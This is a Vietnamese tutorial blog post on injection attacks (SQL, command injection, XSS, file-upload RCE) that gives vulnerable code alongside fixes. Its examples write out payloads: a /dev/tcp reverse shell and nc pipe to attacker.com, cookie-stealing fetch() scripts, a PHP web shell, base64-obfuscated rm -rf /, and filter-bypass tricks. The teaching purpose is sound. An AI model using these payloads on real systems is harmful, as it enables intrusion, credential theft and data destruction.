Web Bị Hack Qua SQL và Command Injection - Giải Pháp Bảo Mật
Sáng thứ Hai, bạn nhận email khẩn cấp: “Database bị xóa sạch, 50,000 thông tin khách hàng bị đánh cắp!” Kiểm tra log, bạn phát hiện một dòng truy vấn SQL lạ: SELECT * FROM users WHERE id = '1' OR '1'='1'; DROP TABLE users;--. Chỉ một ký tự ' trong form tìm kiếm đã khiến toàn bộ hệ thống sụp đổ - đó chính là SQL Injection.
Injection không chỉ dừng ở SQL. Command Injection cho phép hacker chạy lệnh hệ thống (rm -rf /), XSS đánh cắp session, file upload độc hại dẫn đến Remote Code Execution. Bài viết này sẽ giúp bạn hiểu rõ cách kẻ tấn công khai thác các lỗ hổng này, và quan trọng hơn - cách phòng tránh hiệu quả trước khi quá muộn.
#1. Injection là gì và tại sao nguy hiểm?
Injection (chèn mã độc) xảy ra khi ứng dụng không kiểm soát tốt đầu vào từ người dùng, cho phép kẻ tấn công chèn thêm câu lệnh/mã độc, dẫn đến thực thi ngoài ý muốn. Đây là lỗ hổng nghiêm trọng nhất theo OWASP Top 10.
#1.1. Các loại Injection phổ biến
SQL Injection chiếm 65% các cuộc tấn công injection, theo báo cáo Verizon 2024. Tuy nhiên, còn nhiều loại injection khác không kém phần nguy hiểm:
- SQL Injection: Thay đổi câu truy vấn database
- Command Injection: Chạy lệnh hệ điều hành
- XSS (Cross-Site Scripting): Chèn JavaScript độc hại
- File Upload RCE: Upload shell để chiếm server
- Parameter Injection: Lợi dụng tham số API/URL
#1.2. Điểm chung của các cuộc tấn công Injection
View Mermaid diagram code
flowchart TD
Start([Kẻ tấn công]) --> Input[Nhập dữ liệu độc hại]
Input --> Check{App có validate<br/>input?}
Check -->|Không| Inject[Mã độc được chèn vào<br/>câu lệnh/query]
Check -->|Có| Block[❌ Bị chặn]
Inject --> Execute[Server thực thi mã độc]
Execute --> Impact[💥 Hậu quả:<br/>- Đánh cắp data<br/>- Xóa database<br/>- Chiếm quyền server]
Block --> Safe[✅ An toàn]Nguyên nhân gốc rễ: Ứng dụng tin tưởng dữ liệu người dùng mà không kiểm tra, ghép nối trực tiếp vào câu lệnh SQL, shell command, hoặc HTML.
#2. SQL Injection - Lỗ hổng nguy hiểm nhất
SQL Injection cho phép kẻ tấn công thay đổi câu truy vấn database, dẫn đến đánh cắp toàn bộ dữ liệu, xóa table, hoặc bypass authentication.
#2.1. Cách SQL Injection hoạt động
#Kịch bản tấn công thực tế
Giả sử bạn có form tìm kiếm sản phẩm:
1
2
3
4
5
6
<?php
// ❌ MÃ NGUY HIỂM - Đừng làm thế này!
$productId = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$productId'";
$result = mysqli_query($conn, $query);
?>Input bình thường:
- URL:
search.php?id=123 - Query:
SELECT * FROM products WHERE id = '123'✅
Input độc hại:
- URL:
search.php?id=1' OR '1'='1 - Query:
SELECT * FROM products WHERE id = '1' OR '1'='1'💥
Kết quả: Truy vấn trả về TẤT CẢ sản phẩm vì '1'='1' luôn đúng.
#2.2. Các kỹ thuật tấn công nâng cao
#1. Union-based SQL Injection (Kết hợp query)
1
2
3
4
5
6
-- Hacker nhập: 1' UNION SELECT username, password FROM users--
-- Query thực tế:
SELECT * FROM products WHERE id = '1'
UNION SELECT username, password FROM users--'
-- Kết quả: Lấy được toàn bộ username/password!#2. Blind SQL Injection (Dò từng bit)
1
2
3
-- Hacker nhập: 1' AND SUBSTRING(password,1,1)='a'--
-- Nếu response khác biệt, biết ký tự đầu password là 'a'
-- Lặp lại để dò toàn bộ password#3. Second-order SQL Injection
Mã độc được lưu vào database, kích hoạt sau khi được query lại:
1
2
3
4
5
6
// User đăng ký với username: admin'--
// Lưu vào DB: INSERT INTO users (username) VALUES ('admin'--')
// Sau đó, khi query:
// SELECT * FROM posts WHERE author = 'admin'--'
// Comment out phần sau, bypass logic#2.3. Luồng tấn công SQL Injection chi tiết
View Mermaid diagram code
sequenceDiagram
participant Attacker as Kẻ Tấn Công
participant Browser as Trình Duyệt
participant Server as Web Server
participant DB as Database
Attacker->>Browser: Nhập: 1' OR '1'='1
Browser->>Server: GET /search?id=1' OR '1'='1
Note over Server: Ghép chuỗi trực tiếp
Server->>Server: query = "SELECT * FROM products<br/>WHERE id = '1' OR '1'='1'"
Server->>DB: Thực thi query độc hại
DB-->>Server: Trả về toàn bộ dữ liệu
Server-->>Browser: Hiển thị tất cả products
Browser-->>Attacker: Nhận thông tin nhạy cảm
Note over Attacker,DB: Hacker có thể nâng cấp:<br/>- DROP TABLE users<br/>- INSERT admin account<br/>- Đọc file hệ thống#2.4. Phòng tránh SQL Injection
#✅ Giải pháp 1: Prepared Statements (Khuyến nghị)
PHP (PDO):
1
2
3
4
5
6
<?php
// ✅ AN TOÀN với Prepared Statement
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$productId]);
$result = $stmt->fetch();
?>Node.js (mysql2):
1
2
3
4
5
// ✅ AN TOÀN
const [rows] = await connection.execute(
'SELECT * FROM products WHERE id = ?',
[productId]
);Python (psycopg2):
1
2
# ✅ AN TOÀN
cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))Giải thích:
- Prepared Statement tách biệt cấu trúc SQL và dữ liệu
- Database engine tự động escape ký tự đặc biệt
- Kẻ tấn công không thể thay đổi cấu trúc query
#✅ Giải pháp 2: ORM Tools
1
2
3
4
5
6
7
// Sequelize (Node.js)
const product = await Product.findOne({
where: { id: productId }
});
// Sequelize tự động sử dụng Prepared Statement
// Query thực tế: SELECT * FROM products WHERE id = ? [productId]ORM phổ biến:
- Node.js: Sequelize, TypeORM, Prisma
- Python: Django ORM, SQLAlchemy
- PHP: Eloquent (Laravel), Doctrine
- Java: Hibernate
#✅ Giải pháp 3: Input Validation & Sanitization
1
2
3
4
5
6
7
8
9
10
11
12
13
// Validate productId phải là số
function getProduct(productId) {
// Kiểm tra kiểu dữ liệu
if (!/^\d+$/.test(productId)) {
throw new Error('Invalid product ID');
}
// Chuyển sang số nguyên
const safeId = parseInt(productId, 10);
// Dùng Prepared Statement
return db.query('SELECT * FROM products WHERE id = ?', [safeId]);
}#✅ Giải pháp 4: Least Privilege Principle
1
2
3
4
5
6
-- ❌ KHÔNG NÊN: App dùng account có quyền admin
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'localhost';
-- ✅ NÊN: Chỉ cấp quyền tối thiểu
GRANT SELECT, INSERT, UPDATE ON mydb.products TO 'app_user'@'localhost';
-- Không cấp quyền DROP, DELETE trên toàn database#Lưu ý quan trọng
⚠️ Escape string KHÔNG đủ an toàn:
1
2
3
4
5
6
// ⚠️ CÓ THỂ BỊ BYPASS
$safe = mysqli_real_escape_string($conn, $userInput);
$query = "SELECT * FROM users WHERE id = $safe"; // Thiếu quote!
// Hacker nhập: 1 OR 1=1
// Query: SELECT * FROM users WHERE id = 1 OR 1=1 (vẫn bị tấn công!)Luôn ưu tiên Prepared Statement > ORM > Escape string.
#3. Command Injection - Khi Hacker Chạy Lệnh Trên Server
Command Injection cho phép kẻ tấn công thực thi lệnh hệ điều hành tùy ý, dẫn đến chiếm toàn quyền server.
#3.1. Kịch bản tấn công thực tế
#Ví dụ 1: Ping Tool (Node.js)
1
2
3
4
5
6
7
8
9
10
11
12
// ❌ MÃ NGUY HIỂM
const express = require('express');
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// Ghép chuỗi trực tiếp - RẤT NGUY HIỂM!
exec(`ping -c 4 ${host}`, (error, stdout) => {
res.send(stdout);
});
});Input bình thường:
- URL:
/ping?host=google.com - Command:
ping -c 4 google.com✅
Input độc hại:
- URL:
/ping?host=google.com; cat /etc/passwd - Command:
ping -c 4 google.com; cat /etc/passwd💥
Kết quả: Hacker đọc được file /etc/passwd chứa danh sách user.
#Ví dụ 2: Reverse Shell Attack
1
2
# Hacker nhập: google.com; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Server mở kết nối ngược về máy hacker, cho phép điều khiển hoàn toàn!#3.2. Các ký tự nguy hiểm trong Command Injection
| Ký tự | Ý nghĩa | Ví dụ tấn công |
|---|---|---|
; | Ngăn cách lệnh | ping google.com; rm -rf / |
| | Pipe output | ping google.com | nc attacker.com 1234 |
&& | Chạy nếu lệnh trước thành công | ping google.com && cat /etc/shadow |
|| | Chạy nếu lệnh trước thất bại | ping invalid || whoami |
` | Command substitution | ping `whoami`.com |
$() | Command substitution | ping $(whoami).com |
>, >> | Redirect output | ping google.com > /var/www/shell.php |
#3.3. Kỹ thuật bypass filter
Khi ứng dụng có filter chặn các ký tự đặc biệt, hacker sử dụng nhiều kỹ thuật để vượt qua:
#1. URL Encoding (%0A, %0D)
1
2
3
4
5
6
7
8
9
10
11
12
13
# Filter chặn dấu ; và |
# Hacker dùng newline để ngăn cách lệnh
# %0A = Line Feed (LF) - xuống dòng Unix/Linux
# %0D = Carriage Return (CR) - xuống dòng Windows
# Ví dụ tấn công:
ping google.com%0Awhoami
ping google.com%0D%0Awhoami
# Server thực thi:
ping google.com
whoami # Lệnh thứ 2 được chạy!#2. $IFS - Internal Field Separator
1
2
3
4
5
6
7
8
9
10
11
# Filter chặn dấu space (khoảng trắng)
# Hacker dùng $IFS thay thế space
# $IFS trong bash = space, tab, newline
# Ví dụ tấn công:
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd # $9 = tham số rỗng
# Tương đương với:
cat /etc/passwd#3. Base64 Encoding
1
2
3
4
5
6
7
8
9
10
11
12
13
# Filter chặn các từ khóa: rm, cat, wget, curl, bash
# Hacker encode lệnh độc hại bằng Base64
# Lệnh gốc: rm -rf /
# Base64: cm0gLXJmIC8=
# Ví dụ tấn công:
echo cm0gLXJmIC8= | base64 -d | bash
# Decode và thực thi lệnh xóa hệ thống!
# Hoặc phức tạp hơn:
bash -c "$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)"
# Decode: cat /etc/passwd#4. Kỹ thuật bypass khác
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Thay thế ký tự bằng wildcard
/bin/c?t /etc/passwd # ? thay cho a
/bin/ca* /etc/passwd # * khớp với at
# Escape ký tự
c\at /etc/passwd
c'a't /etc/passwd
c"a"t /etc/passwd
# Variable expansion
COMMAND=cat
$COMMAND /etc/passwd
# Hex encoding
$(printf "\x63\x61\x74") /etc/passwd # \x63\x61\x74 = "cat"
# Concatenation
c''at /etc/passwd
c""at /etc/passwdBảng tổng hợp kỹ thuật bypass:
| Kỹ thuật | Bypass gì? | Ví dụ |
|---|---|---|
| %0A, %0D | Chặn ;, |, && | cmd%0Awhoami |
| $IFS | Chặn space | cat$IFS/etc/passwd |
| Base64 | Chặn keyword | `echo Y2F0 |
| Wildcard | Chặn keyword | /bin/c?t, /bin/ca* |
| Escape | Chặn keyword | c\at, c'a't |
| Hex | Chặn keyword | $(printf "\x63\x61\x74") |
#Lưu ý quan trọng
⚠️ Tại sao filter không đủ:
- Có hàng trăm cách bypass filter
- Blacklist (danh sách đen) không bao giờ đủ
- Hacker luôn tìm ra cách mới
✅ Giải pháp đúng:
- KHÔNG cho phép chạy shell command với user input
- Dùng whitelist (danh sách trắng) nếu bắt buộc
- Dùng
spawn()thay vìexec()
#3.4. Luồng tấn công Command Injection
View Mermaid diagram code
flowchart TD
Start([Kẻ tấn công tìm input field]) --> Find[Phát hiện app chạy shell command]
Find --> Test{Test với ký tự<br/>đặc biệt}
Test --> Inject[Chèn lệnh độc hại:<br/>; whoami]
Inject --> Execute[Server thực thi:<br/>ping x.com; whoami]
Execute --> Result{Kết quả?}
Result -->|Success| Escalate[Nâng cấp tấn công:<br/>- Reverse shell<br/>- Download malware<br/>- Xóa file hệ thống]
Result -->|Filtered| Bypass["Thử bypass filter<br/>%0A, $IFS, Base64"]
Bypass --> Execute
Escalate --> Pwned[💀 Server bị chiếm<br/>hoàn toàn]#3.5. Phòng tránh Command Injection
#✅ Giải pháp 1: Không bao giờ gọi shell command với user input
1
2
3
4
5
6
// ❌ NGUY HIỂM
exec(`ping ${userInput}`);
// ✅ AN TOÀN - Dùng thư viện thay vì shell
const ping = require('ping');
const result = await ping.promise.probe(userInput);#✅ Giải pháp 2: Dùng spawn() với arguments riêng biệt
1
2
3
4
5
6
7
8
9
10
11
const { spawn } = require('child_process');
// ✅ AN TOÀN - Arguments được tách biệt
const ping = spawn('ping', ['-c', '4', userInput]);
ping.stdout.on('data', (data) => {
console.log(data.toString());
});
// userInput = "google.com; rm -rf /" sẽ KHÔNG thực thi rm
// Vì spawn coi toàn bộ làm 1 argument cho pingGiải thích:
exec()chạy shell command dạng string → dễ bị injectionspawn()truyền arguments riêng biệt → không thể chèn lệnh
#✅ Giải pháp 3: Whitelist validation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function isValidHostname(host) {
// Chỉ cho phép: chữ cái, số, dấu chấm, dấu gạch
const regex = /^[a-zA-Z0-9.-]+$/;
return regex.test(host);
}
app.get('/ping', (req, res) => {
const host = req.query.host;
// Validate trước khi dùng
if (!isValidHostname(host)) {
return res.status(400).send('Invalid hostname');
}
const ping = spawn('ping', ['-c', '4', host]);
// ...
});#✅ Giải pháp 4: Chạy trong sandbox/container
1
2
3
4
5
6
7
// Dùng Docker container với quyền hạn chế
// Dockerfile:
// USER nobody
// RUN chmod -R 755 /app
// Nếu bị tấn công, hacker chỉ chiếm được container
// Không ảnh hưởng host system#Lưu ý quan trọng
⚠️ Các hàm nguy hiểm cần tránh:
PHP:
1
2
3
4
5
6
// ❌ NGUY HIỂM
exec($cmd);
system($cmd);
passthru($cmd);
shell_exec($cmd);
`backticks`;Node.js:
1
2
3
4
5
6
7
// ❌ NGUY HIỂM
child_process.exec(cmd);
child_process.execSync(cmd);
// ✅ AN TOÀN (nếu dùng đúng cách)
child_process.spawn(command, args);
child_process.spawnSync(command, args);Python:
1
2
3
4
5
6
# ❌ NGUY HIỂM
os.system(cmd)
os.popen(cmd)
# ✅ AN TOÀN (với shell=False)
subprocess.run(['ping', host], shell=False)#4. XSS (Cross-Site Scripting) - Đánh Cắp Thông Tin User
XSS cho phép kẻ tấn công chèn JavaScript độc hại vào trang web, đánh cắp cookie, session, hoặc thực hiện hành động thay mặt người dùng.
#4.1. Ba loại XSS
#1. Reflected XSS (Phản chiếu)
JavaScript độc hại nằm trong URL, server phản chiếu lại trong response:
1
2
3
4
5
// ❌ MÃ NGUY HIỂM
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Search results for: ${query}</h1>`);
});URL tấn công:
1
/search?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>HTML được render:
1
<h1>Search results for: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script></h1>Trình duyệt chạy script, gửi cookie của nạn nhân về server hacker.
#2. Stored XSS (Lưu trữ) - Nguy hiểm nhất!
Mã độc được lưu vào database, ảnh hưởng đến TẤT CẢ người dùng:
1
2
3
4
5
6
7
8
9
10
11
12
// ❌ NGUY HIỂM - Lưu comment trực tiếp
app.post('/comment', async (req, res) => {
const comment = req.body.comment;
await db.query('INSERT INTO comments (text) VALUES (?)', [comment]);
});
// Hiển thị comment
app.get('/posts', async (req, res) => {
const comments = await db.query('SELECT * FROM comments');
const html = comments.map(c => `<p>${c.text}</p>`).join('');
res.send(html);
});Hacker post comment:
1
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">Kết quả: Mỗi khi ai đó xem trang, cookie của họ bị đánh cắp!
#3. DOM-based XSS
JavaScript phía client xử lý không an toàn:
1
2
3
// ❌ NGUY HIỂM
const hash = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Welcome ' + hash;URL tấn công:
1
page.html#<img src=x onerror=alert('XSS')>#4.2. Luồng tấn công Stored XSS
View Mermaid diagram code
sequenceDiagram
participant Attacker as Kẻ Tấn Công
participant Server as Web Server
participant DB as Database
participant Victim as Nạn Nhân
Attacker->>Server: POST /comment<br/><script>steal_cookie()</script>
Server->>DB: INSERT comment với script độc
Note over DB: Mã độc được lưu!
Victim->>Server: GET /posts (xem bài viết)
Server->>DB: SELECT comments
DB-->>Server: Trả về comment có script
Server-->>Victim: HTML chứa <script>
Note over Victim: Trình duyệt chạy script!
Victim->>Attacker: Gửi cookie/session đến attacker.com
Note over Attacker: Chiếm tài khoản nạn nhân<br/>Không cần password!#4.3. Phòng tránh XSS
#✅ Giải pháp 1: Encode HTML Output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ✅ AN TOÀN - Encode HTML entities
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Search results for: ${query}</h1>`);
});Kết quả:
- Input:
<script>alert('XSS')</script> - Output:
<script>alert('XSS')</script> - Hiển thị dạng text, không thực thi
#✅ Giải pháp 2: Dùng Template Engine với Auto-escaping
EJS (Node.js):
1
2
3
4
5
<!-- ✅ AN TOÀN - Auto escape -->
<h1>Search: <%= query %></h1>
<!-- ❌ NGUY HIỂM - Raw output -->
<h1>Search: <%- query %></h1>React:
1
2
3
4
5
6
7
// ✅ AN TOÀN - React tự động escape
function SearchResults({ query }) {
return <h1>Search results for: {query}</h1>;
}
// ❌ NGUY HIỂM - dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />#✅ Giải pháp 3: Content Security Policy (CSP)
1
2
3
4
5
6
7
8
// Thiết lập CSP header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next();
});CSP ngăn chặn:
- Inline script (
<script>alert('XSS')</script>) - Script từ domain khác
eval(),setTimeout(string)với code dạng string
#✅ Giải pháp 4: DOMPurify cho Rich Text
1
2
3
4
5
6
7
8
// Khi cần cho phép HTML (ví dụ: editor)
import DOMPurify from 'dompurify';
const dirty = req.body.content; // Có thể chứa HTML
const clean = DOMPurify.sanitize(dirty);
// DOMPurify loại bỏ script, onerror, v.v. nhưng giữ lại HTML an toàn
await db.query('INSERT INTO posts (content) VALUES (?)', [clean]);#
1
2
3
4
5
6
// Ngăn JavaScript đọc cookie
res.cookie('sessionId', sessionId, {
httpOnly: true, // JavaScript không đọc được
secure: true, // Chỉ gửi qua HTTPS
sameSite: 'strict'
});Giải thích: Ngay cả khi bị XSS, hacker không đánh cắp được session cookie.
#Lưu ý quan trọng
⚠️ Context-aware encoding:
1
2
3
4
5
6
7
8
9
10
11
// HTML context
`<div>${escapeHtml(data)}</div>` // ✅
// JavaScript context - cần JSON.stringify
`<script>var data = ${JSON.stringify(data)};</script>` // ✅
// URL context - cần encodeURIComponent
`<a href="/search?q=${encodeURIComponent(data)}">` // ✅
// CSS context - TRÁNH nếu có thể
`<style>.class { color: ${data}; }</style>` // ❌ Rất khó escape đúng#5. File Upload & Remote Code Execution (RCE)
Upload file không kiểm soát cho phép hacker tải lên web shell, chiếm toàn quyền server.
#5.1. Kịch bản tấn công thực tế
#Bước 1: Tìm form upload
1
2
3
4
5
<!-- Form upload avatar -->
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="avatar">
<button>Upload</button>
</form>#Bước 2: Server xử lý không an toàn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ❌ MÃ NGUY HIỂM
app.post('/upload', upload.single('avatar'), (req, res) => {
const file = req.file;
// Chỉ check extension - Dễ bypass!
if (!file.originalname.endsWith('.jpg')) {
return res.status(400).send('Only JPG allowed');
}
// Lưu với tên gốc - NGUY HIỂM!
const uploadPath = './uploads/' + file.originalname;
fs.writeFileSync(uploadPath, file.buffer);
res.send('Upload success!');
});#Bước 3: Hacker upload web shell
File: shell.php.jpg (bypass extension check)
1
2
3
4
5
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>Hoặc File: shell.jpg (MIME type attack)
1
GIF89a <?php system($_GET['cmd']); ?>#Bước 4: Truy cập shell
1
2
3
GET /uploads/shell.php.jpg?cmd=whoami
GET /uploads/shell.php.jpg?cmd=cat /etc/passwd
GET /uploads/shell.php.jpg?cmd=rm -rf /#5.2. Luồng tấn công File Upload RCE
View Mermaid diagram code
flowchart TD
Start([Kẻ tấn công]) --> Find[Tìm form upload file]
Find --> Test{Test upload<br/>file .php?}
Test -->|Bị chặn| Bypass[Bypass filter:<br/>- shell.php.jpg<br/>- shell.PhP<br/>- shell.jpg + magic bytes]
Test -->|Thành công| Upload[Upload web shell]
Bypass --> Upload
Upload --> Access{Truy cập file<br/>upload được?}
Access -->|Không| FindPath[Dò path:<br/>- /uploads/shell.php<br/>- /files/shell.php<br/>- /static/shell.php]
Access -->|Có| Execute[Thực thi shell:<br/>?cmd=whoami]
FindPath --> Execute
Execute --> Escalate[Nâng cấp quyền:<br/>- Download reverse shell<br/>- Tạo user mới<br/>- Cài backdoor]
Escalate --> Pwned[💀 Server bị chiếm]#5.3. Phòng tránh File Upload RCE
#✅ Giải pháp 1: Validate MIME type thực tế
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const fileType = require('file-type');
app.post('/upload', upload.single('avatar'), async (req, res) => {
const file = req.file;
// ✅ Kiểm tra MIME type thực (đọc magic bytes)
const type = await fileType.fromBuffer(file.buffer);
if (!type || !['image/jpeg', 'image/png'].includes(type.mime)) {
return res.status(400).send('Only JPG/PNG allowed');
}
// ...
});#✅ Giải pháp 2: Đổi tên file, lưu ngoài webroot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const crypto = require('crypto');
const path = require('path');
app.post('/upload', upload.single('avatar'), async (req, res) => {
const file = req.file;
// ✅ Tạo tên file random
const randomName = crypto.randomBytes(16).toString('hex');
const ext = path.extname(file.originalname);
const safeFilename = randomName + ext;
// ✅ Lưu NGOÀI thư mục public
const uploadPath = '/var/uploads/' + safeFilename; // Không truy cập trực tiếp qua web
fs.writeFileSync(uploadPath, file.buffer);
// ✅ Lưu reference vào database
await db.query('INSERT INTO files (filename, path) VALUES (?, ?)',
[safeFilename, uploadPath]);
res.json({ fileId: insertId });
});
// ✅ Serve file qua endpoint riêng
app.get('/file/:id', async (req, res) => {
const file = await db.query('SELECT * FROM files WHERE id = ?', [req.params.id]);
// Set Content-Type để trình duyệt không thực thi
res.setHeader('Content-Type', 'image/jpeg');
res.setHeader('Content-Disposition', 'inline'); // Hoặc 'attachment' để download
res.sendFile(file.path);
});#✅ Giải pháp 3: Giới hạn kích thước và loại file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const multer = require('multer');
const upload = multer({
limits: {
fileSize: 5 * 1024 * 1024 // 5MB
},
fileFilter: (req, file, cb) => {
// Whitelist extension
const allowedExts = ['.jpg', '.jpeg', '.png', '.gif'];
const ext = path.extname(file.originalname).toLowerCase();
if (!allowedExts.includes(ext)) {
return cb(new Error('Invalid file type'));
}
cb(null, true);
}
});#✅ Giải pháp 4: Không cho quyền execute trên thư mục upload
Linux:
1
2
3
4
5
6
7
8
# Tạo thư mục upload
mkdir /var/uploads
# Chỉ cho phép đọc/ghi, KHÔNG execute
chmod 666 /var/uploads/*
# Hoặc mount với noexec
mount -o noexec /dev/sdb1 /var/uploadsNginx config:
1
2
3
4
5
6
location /uploads {
# Chặn thực thi PHP
location ~ \.php$ {
deny all;
}
}#✅ Giải pháp 5: Quét virus/malware
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const ClamScan = require('clamscan');
const clamscan = await new ClamScan().init();
app.post('/upload', upload.single('file'), async (req, res) => {
const file = req.file;
// ✅ Quét virus
const { isInfected, viruses } = await clamscan.scanFile(file.path);
if (isInfected) {
fs.unlinkSync(file.path); // Xóa file độc hại
return res.status(400).send(`Virus detected: ${viruses}`);
}
// ...
});#✅ Giải pháp 6: Dùng Cloud Storage
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// ✅ Upload lên S3/GCS thay vì server
const AWS = require('aws-sdk');
const s3 = new AWS.S3();
app.post('/upload', upload.single('avatar'), async (req, res) => {
const file = req.file;
const params = {
Bucket: 'my-bucket',
Key: `avatars/${randomName}`,
Body: file.buffer,
ContentType: file.mimetype,
ACL: 'public-read'
};
await s3.upload(params).promise();
// File được lưu trên S3, không thực thi được trên server
});#Lưu ý quan trọng
⚠️ Các lỗi thường gặp:
❌ Chỉ check extension:
1
2
// Bypass bằng shell.php.jpg, shell.PhP, shell.php%00.jpg
if (filename.endsWith('.jpg')) { }❌ Tin tưởng Content-Type header:
1
2
// Hacker có thể giả mạo header
if (req.file.mimetype === 'image/jpeg') { } // Không an toàn!❌ Lưu file với tên gốc:
1
2
// Path traversal: ../../etc/passwd, shell.php
const path = './uploads/' + req.file.originalname;#6. Checklist Bảo Mật Toàn Diện
#6.1. Input Validation Matrix
| Loại Input | Nguy cơ | Cách validate |
|---|---|---|
| User ID | SQL Injection | Parse int, check > 0 |
| SQL/XSS | Regex + sanitize | |
| URL | XSS/SSRF | Whitelist domain |
| Filename | Path traversal/RCE | Whitelist extension + random name |
| Search query | SQL/XSS | Escape + length limit |
| Command parameter | Command Injection | Whitelist + spawn() |
#6.2. Defense in Depth Strategy
View Mermaid diagram code
flowchart LR
Input[User Input] --> Layer1[Layer 1:<br/>Input Validation]
Layer1 --> Layer2[Layer 2:<br/>Parameterization]
Layer2 --> Layer3[Layer 3:<br/>Output Encoding]
Layer3 --> Layer4[Layer 4:<br/>CSP/Security Headers]
Layer4 --> Layer5[Layer 5:<br/>WAF/Monitoring]
Layer5 --> Safe[✅ An toàn]
style Layer1 fill:#e1f5ff
style Layer2 fill:#b3e5fc
style Layer3 fill:#81d4fa
style Layer4 fill:#4fc3f7
style Layer5 fill:#29b6f6Nguyên tắc: Không dựa vào một lớp bảo vệ duy nhất. Kết hợp nhiều biện pháp.
#6.3. Bảng tổng hợp phòng tránh
| Loại Injection | ❌ Lỗi thường gặp | ✅ Giải pháp |
|---|---|---|
| SQL Injection | Ghép chuỗi SQL | Prepared Statement + ORM |
| Command Injection | exec(string) | spawn(cmd, [args]) + Whitelist |
| XSS | innerHTML = userInput | Encode HTML + CSP |
| File Upload RCE | Chỉ check extension | MIME validation + webroot ngoài + noexec |
Vậy là bạn đã hiểu rõ cách kẻ tấn công khai thác SQL Injection, Command Injection, XSS và File Upload để hack website. Trong thực tế, không có viên đạn bạc - bạn cần kết hợp nhiều lớp bảo vệ: validate input, dùng Prepared Statement, encode output, CSP header, và giám sát liên tục. Injection vẫn là lỗ hổng phổ biến nhất vì lập trình viên thường tin tưởng user input - đừng mắc sai lầm này. Hãy áp dụng checklist trong bài ngay hôm nay để bảo vệ ứng dụng của bạn!